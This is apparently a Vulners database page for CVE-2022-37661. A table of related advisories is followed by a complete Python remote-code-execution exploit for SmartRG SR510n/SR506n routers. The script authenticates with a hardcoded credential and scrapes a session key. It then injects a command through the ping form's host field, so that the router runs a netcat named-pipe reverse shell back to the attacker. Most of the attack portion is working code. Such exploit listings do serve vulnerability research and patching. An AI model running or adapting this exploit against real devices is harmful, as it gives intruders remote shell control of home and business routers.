| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| SmartRG Router 2.6.13 Remote Code Execution Exploit | 13 Sep 202200:00 | – | zdt | |
| CVE-2022-37661 | 14 Sep 202213:15 | – | attackerkb | |
| CVE-2022-37661 | 14 Sep 202216:26 | – | circl | |
| ADTRAN SmartRG Router 安全漏洞 | 12 Sep 202200:00 | – | cnnvd | |
| SmartRG Routers Command Injection (CVE-2022-37661) | 23 Nov 202200:00 | – | checkpoint_advisories | |
| CVE-2022-37661 | 14 Sep 202200:00 | – | cve | |
| CVE-2022-37661 | 14 Sep 202200:00 | – | cvelist | |
| SmartRG Router SR510n 2.6.13 - Remote Code Execution | 11 Nov 202200:00 | – | exploitdb | |
| CVE-2022-37661 | 14 Sep 202213:15 | – | nvd | |
| CVE-2022-37661 | 14 Sep 202213:15 | – | osv |
`# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
# Date: 13/06/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://adtran.com
# Version: 2.5.15 / 2.6.13 (confirmed)
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)
# CVE : CVE-2022-37661
import requests
from subprocess import Popen, PIPE
router_host =3D "http://192.168.1.1"
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"
lhost =3D "lo"
lport =3D 80
payload_port =3D 81
def main():
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
send_payload(f"|nc {lhost} {payload_port}|sh")
print("done.. check shell")
def get_session():
url =3D router_host + "/admin/ping.html"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
r =3D requests.get(url, headers=3Dheaders).text
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
s =3D ""
while r[i] !=3D "'":
s =3D s + r[i]
i =3D i + 1
return s
def send_payload(payload):
print(payload)
url =3D router_host + "/admin/pingHost.cmd"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
: get_session()}
requests.get(url, headers=3Dheaders, params=3Dparams).text
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation